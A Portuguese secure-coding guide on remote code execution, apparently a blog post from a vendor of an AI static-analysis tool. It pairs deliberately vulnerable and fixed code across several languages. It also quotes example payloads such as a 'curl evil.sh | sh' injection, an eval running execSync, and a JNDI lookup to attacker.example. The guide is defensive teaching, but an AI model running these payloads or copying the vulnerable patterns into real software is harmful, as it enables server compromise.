Uma vulnerabilidade de execução remota de código (RCE, de remote code execution) permite que um atacante rode o próprio código ou comandos do sistema operacional no seu servidor, pela rede, sem nenhum acesso legítimo. Em quase todo modelo de ameaças é o pior cenário: quem executa código com os privilégios da sua aplicação consegue ler as credenciais do banco, roubar variáveis de ambiente, pular para serviços internos e deixar persistência.

Neste guia explicamos o que é RCE na prática: as causas que continuam gerando esse problema, código vulnerável e corrigido em várias linguagens, um caso real (Log4Shell) e como detectar e prevenir no seu próprio código.

O que é execução remota de código

RCE não é um tipo específico de bug. É um impacto: o atacante passa a decidir o que a CPU executa. Muitas falhas diferentes levam até lá. No OWASP Top 10 2025, ela aparece principalmente em A05 Injection, A08 Software or Data Integrity Failures (desserialização insegura) e A03 Software Supply Chain Failures (componentes vulneráveis).

Dois termos que aparecem bastante:

  • RCE vs ACE: arbitrary code execution (ACE) é a capacidade geral de executar código arbitrário; RCE significa que isso pode ser disparado remotamente, por exemplo com uma requisição HTTP ou uma mensagem em uma fila.
  • RCE pré-auth vs pós-auth: a pré-auth não exige login e é a mais perigosa. A pós-auth exige uma conta, o que em muitos SaaS significa "qualquer pessoa que se cadastrar".

As principais causas de RCE

1. Command injection

A aplicação monta um comando de shell concatenando input do usuário. O shell então interpreta caracteres como ;, |, && ou $( ) como novos comandos.

# Python, vulnerável
import os

def ping(host):
    os.system("ping -c 1 " + host)   # host = "8.8.8.8; curl evil.sh | sh"
# Python, corrigido
import ipaddress, subprocess

def ping(host):
    ipaddress.ip_address(host)            # lança ValueError se não for um IP
    subprocess.run(["ping", "-c", "1", host], check=True, timeout=5)

A correção faz duas coisas: valida o input contra um formato estrito e passa os argumentos como lista, então nenhum shell interpreta nada. No Node.js o padrão é o mesmo:

// Node.js, vulnerável
const { exec } = require('child_process');
app.get('/convert', (req, res) => {
  exec(`convert ${req.query.file} out.png`, (err) => res.send('ok'));
});

// Node.js, corrigido
const { execFile } = require('child_process');
app.get('/convert', (req, res) => {
  const file = path.basename(req.query.file);        // sem truques de path
  if (!/^[\w-]+\.(jpg|png)$/.test(file)) return res.sendStatus(400);
  execFile('convert', [file, 'out.png'], (err) => res.send('ok'));
});

2. Desserialização insegura

Vários formatos de serialização nativos conseguem reconstruir objetos arbitrários, e reconstruir um objeto pode disparar código. Se o atacante controla os bytes serializados, ele controla o que roda.

  • pickle no Python: a própria documentação avisa para nunca desserializar dados de fonte não confiável, porque um pickle pode chamar qualquer função durante o carregamento.
  • Marshal.load no Ruby sobre dados do atacante (por exemplo, um cookie) tem o mesmo problema, via gadget chains nas classes carregadas.
  • YAML: loaders completos podem instanciar objetos. O PyYAML 6.0 tornou obrigatório o argumento Loader em yaml.load, e o Psych 4 no Ruby deixou o YAML.load seguro por padrão, mas código antigo e loaders inseguros explícitos ainda são comuns.
  • A serialização nativa do Java (ObjectInputStream.readObject) gerou muitas RCEs por meio de gadget chains em bibliotecas populares.
# Python, vulnerável
import pickle, yaml
session = pickle.loads(request.cookies["session"])
config  = yaml.load(request.data, Loader=yaml.Loader)

# Python, corrigido
import json, yaml
session = json.loads(request.cookies["session"])   # mais uma verificação de assinatura
config  = yaml.safe_load(request.data)
# Ruby, vulnerável
prefs = Marshal.load(Base64.decode64(cookies[:prefs]))

# Ruby, corrigido
prefs = JSON.parse(cookies.signed[:prefs])
// Java, vulnerável
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Order order = (Order) in.readObject();

// Java, corrigido: use um formato de dados, ou no mínimo um filtro allowlist
Order order = objectMapper.readValue(request.getInputStream(), Order.class);
// se a serialização nativa for inevitável:
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter("com.acme.Order;!*"));

3. Server-side template injection (SSTI)

Engines como Jinja2, Twig, Freemarker ou ERB são pequenas linguagens de programação. Se o input do usuário vira parte do template em vez de uma variável, o atacante escreve código. Um teste rápido é enviar {{7*7}} e ver se a resposta mostra 49.

# Flask, vulnerável
@app.route("/hello")
def hello():
    name = request.args.get("name", "")
    return render_template_string(f"<h1>Olá {name}</h1>")

# Flask, corrigido: o template é constante, o input é dado
@app.route("/hello")
def hello():
    return render_template_string("<h1>Olá {{ name }}</h1>",
                                  name=request.args.get("name", ""))

4. eval e avaliação dinâmica de código

eval, exec, new Function, instance_eval no Ruby ou assert com strings no PHP transformam dados em código. Aparecem muito em features de "fórmulas", calculadoras, motores de regras e ferramentas internas feitas às pressas.

// JavaScript, vulnerável
const total = eval(req.body.formula);   // "require('child_process').execSync('id')"

// JavaScript, corrigido: faça parse de uma gramática restrita em vez de executar código
const total = evaluateArithmetic(req.body.formula); // tokenizer que só aceita dígitos e + - * / ( )

5. Uploads em caminhos executáveis

Se um arquivo enviado fica dentro do web root e o servidor executa arquivos pela extensão (setups clássicos de PHP, JSP ou CGI), subir um shell.php e depois acessá-lo pela URL é uma RCE. Como corrigir: guardar uploads fora do web root ou em object storage, gerar nomes aleatórios, validar o tipo pelo conteúdo e não só pela extensão, e servir os arquivos com um content type não executável.

6. Dependências vulneráveis: o caso Log4Shell

Seu código pode estar perfeito e mesmo assim entregar uma RCE dentro de uma biblioteca. O caso mais famoso é o Log4Shell (CVE-2021-44228), divulgado em dezembro de 2021 com CVSS 10.0. O Apache Log4j 2 avaliava lookups JNDI dentro das strings registradas, então logar um header como ${jndi:ldap://attacker.example/a} fazia o servidor carregar código de um LDAP controlado pelo atacante. Segundo a página de segurança do Apache Log4j, as versões afetadas começavam na 2.0-beta9 e a correção para Java 8 em diante chegou na 2.15.0. Os CVEs relacionados (CVE-2021-45046, CVE-2021-45105 e CVE-2021-44832) foram resolvidos nas versões seguintes, e por isso a maioria das equipes padronizou na 2.17.1 ou superior.

A lição: uma RCE pode chegar por uma dependência transitiva que você nunca escolheu. Esse é o trabalho do software composition analysis e de manter um inventário como um SBOM, para responder "estamos afetados?" em minutos e não em dias.

O que um atacante faz depois de uma RCE

Entender o raio de impacto ajuda a priorizar. Depois de uma RCE bem-sucedida, o típico é:

  1. Ler variáveis de ambiente e arquivos de configuração atrás de URLs de banco, API keys e credenciais de cloud.
  2. Consultar o endpoint de metadata do provedor de cloud para obter credenciais IAM temporárias.
  3. Roubar ou criptografar dados, ou instalar um minerador de cripto.
  4. Se mover lateralmente para serviços internos que confiam no host comprometido.
  5. Criar persistência: um cron, uma nova chave SSH, uma imagem de contêiner alterada.

Por isso o privilégio mínimo importa mesmo depois de corrigir o bug: um processo que não alcança o endpoint de metadata, roda como usuário não root e tem o filesystem somente leitura transforma uma RCE catastrófica em um incidente contido.

Como detectar vulnerabilidades de execução remota de código

Nenhuma técnica sozinha encontra todas as RCEs, então vale combinar:

  • SAST (análise estática): segue o input não confiável (parâmetros, headers, cookies, payloads de mensagens) até sinks perigosos: os.system, subprocess com shell=True, exec, eval, pickle.loads, Marshal.load, readObject, render_template_string. Entrega arquivo e linha antes do merge. Compare abordagens no nosso guia de ferramentas SAST.
  • SCA: sinaliza dependências com CVEs de RCE conhecidos e diz para qual versão atualizar. Em SAST vs SCA explicamos por que você precisa dos dois.
  • DAST e pentest: confirmam a explorabilidade em um ambiente rodando. Veja SAST e DAST e análise de vulnerabilidades vs pentest para entender como se encaixam.
  • Sinais em runtime: processos filhos inesperados do web server, conexões de saída para hosts desconhecidos e arquivos novos em diretórios da aplicação são fortes indícios de que algo já aconteceu.

O SAST baseado em regras funciona bem com os sinks óbvios, mas a RCE costuma se esconder atrás de wrappers próprios: um helper run_command em um arquivo de utils, um "plugin loader" que importa módulos pelo nome, um job runner que desserializa payloads do Redis. O AI SAST ajuda justamente aí, porque segue os dados através dos helpers e avalia se o input é mesmo controlado por um atacante. Por exemplo, o Nurbak se conecta ao GitHub, escaneia um repositório com o próprio modelo de IA self-hosted (a análise não envia seu código para a OpenAI nem para a Anthropic) e reporta vulnerabilidades exploráveis com arquivo e linha, além de CVEs em dependências via OSV com as versões corrigidas. Você pode encontrar vulnerabilidades no seu código com um scan gratuito que mostra completos os 3 achados mais importantes.

Checklist para prevenir RCE

  1. Nada de shell nem de concatenar strings. Use arrays de argumentos (subprocess.run([...]), execFile, ProcessBuilder) e valide o input contra allowlists estritas.
  2. Desserialize dados, não objetos. JSON ou protobuf para input não confiável. yaml.safe_load e YAML.safe_load. Se a serialização nativa do Java for inevitável, aplique um ObjectInputFilter com allowlist.
  3. Templates são constantes. O input do usuário entra como variável, nunca como fonte do template.
  4. Proibido eval sobre dados do usuário. Faça parse de uma gramática restrita ou use uma biblioteca de expressões feita para input não confiável.
  5. Uploads na defensiva. Fora do web root, nomes aleatórios, validação de content type, sem permissão de execução.
  6. Atualize dependências continuamente. Lockfiles, SCA em cada pull request e alertas quando sai um CVE novo para um pacote que você já usa.
  7. Privilégio mínimo em runtime. Contêineres não root, filesystem somente leitura, egress restrito e nada de credenciais amplas de cloud nos hosts da aplicação.
  8. Proteja seus segredos. Uma RCE somada a uma chave vazada é pior do que qualquer uma das duas sozinha. Revise o histórico do git com um secret scanner e rotacione o que aparecer.

RCE vs SQL injection vs SSRF

Elas se confundem porque as três começam com input não confiável. A SQL injection permite ao atacante rodar queries no seu banco; a RCE permite rodar código no seu host; o SSRF faz seu servidor enviar requisições em nome dele. E dá para encadear: alguns bancos permitem executar comandos a partir do SQL, e um SSRF contra o serviço de metadata pode render credenciais que viram execução de código em outro lugar. Na hora de priorizar, trate qualquer uma delas como um possível caminho para RCE.

Conclusão

A execução remota de código quase nunca é exótica. Ela nasce de um punhado de erros repetíveis: comandos de shell montados com strings, desserialização nativa de dados não confiáveis, templates construídos com input, eval, uploads descuidados e bibliotecas sem atualização. Cada um tem uma correção conhecida. O difícil é achar todas as ocorrências em um codebase real e nas suas dependências, e é aí que a análise estática contínua e o SCA se pagam. Comece com um scan para encontrar vulnerabilidades no seu código e corrija primeiro os caminhos para RCE.

Leituras relacionadas